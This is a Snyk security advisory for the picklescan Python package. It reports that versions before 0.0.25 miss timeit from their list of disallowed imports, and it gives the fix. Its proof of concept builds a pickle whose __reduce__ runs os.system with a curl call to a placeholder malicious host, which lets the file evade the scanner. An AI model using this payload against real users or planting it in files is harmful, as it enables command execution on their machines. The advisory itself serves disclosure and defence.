Incomplete List of Disallowed Inputs Affecting picklescan package, versions [,0.0.25)
Threat Intelligence
Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
Do your applications use this vulnerable package?
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applications- Snyk IDSNYK-PYTHON-PICKLESCAN-9669222
- published8 Apr 2025
- disclosed7 Apr 2025
- creditSeaWind
Introduced: 7 Apr 2025
New CVE NOT AVAILABLE CWE-184 (opens in a new tab)How to fix?
Upgrade picklescan to version 0.0.25 or higher.
Overview
picklescan is a Security scanner detecting Python Pickle files performing suspicious actions
Affected versions of this package are vulnerable to Incomplete List of Disallowed Inputs in scanner.py, which does not include timeit or other modules that can be leveraged for unintended command execution. An attacker can cause exec() to be invoked from inside a malicious pickle object by calling timeit.timeit(), and then convincing a user to execute the apparently non-dangerous payload after it passes a scan.
PoC
import pickle
import timeit
class Payload(object):
def __reduce__(self):
return timeit.timeit, ('','import os; os.system("curl https://malicious")')
def create_payload():
with open('payload.pickle', 'wb') as f:
pickle.dump(Payload(), f)
create_payload()